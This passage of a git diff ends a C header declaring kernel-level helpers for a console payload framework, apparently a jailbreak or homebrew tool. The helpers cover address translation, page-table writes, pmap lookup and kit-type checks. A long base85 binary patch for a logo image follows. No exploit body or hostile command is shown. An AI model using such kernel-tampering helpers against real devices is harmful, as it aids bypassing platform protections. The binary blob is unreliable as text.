pmap_pte_index(va) ((va >> 12) & 0x1FF) + +uint64_t va_to_pa_user(uint64_t va); +uint64_t va_to_pa_kernel(uint64_t va); +uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom); +uint64_t pa_to_dmap(uint64_t pa); +void page_chain_set_rw(uint64_t va); +uint64_t page_remove_global(uint64_t va); + +uint64_t getpmap(uint64_t proc_ptr); +uint64_t get_pml4(uint64_t pmap); + +int pin_to_core(int n); +int pin_to_first_available_core(void); +void unpin(void); +void notify(const char *fmt, ...); +void notify_internal(uint8_t *msg); +void enter_rest_mode(void); + +#if DEBUG +#define DEBUG_PRINT(fmt, ...) printf(fmt, ##__VA_ARGS__) +#else +#define DEBUG_PRINT(fmt, ...) +#endif + +bool if_exists(const char *path); +bool sceKernelIsTestKit(void); +bool sceKernelIsDevKit(void); + +enum kit_type { KIT_RETAIL, KIT_TESTKIT, KIT_DEVKIT }; + +enum kit_type get_kit_type(void); + +#endif diff --git a/logo.webp b/logo.webp index f61c3fed0d5725f0c2086014e0dc36e03ac4a570..8fb7b199f2f335563019a1546607d72107076896 100644 GIT binary patch delta 13794 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 delta 17684 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 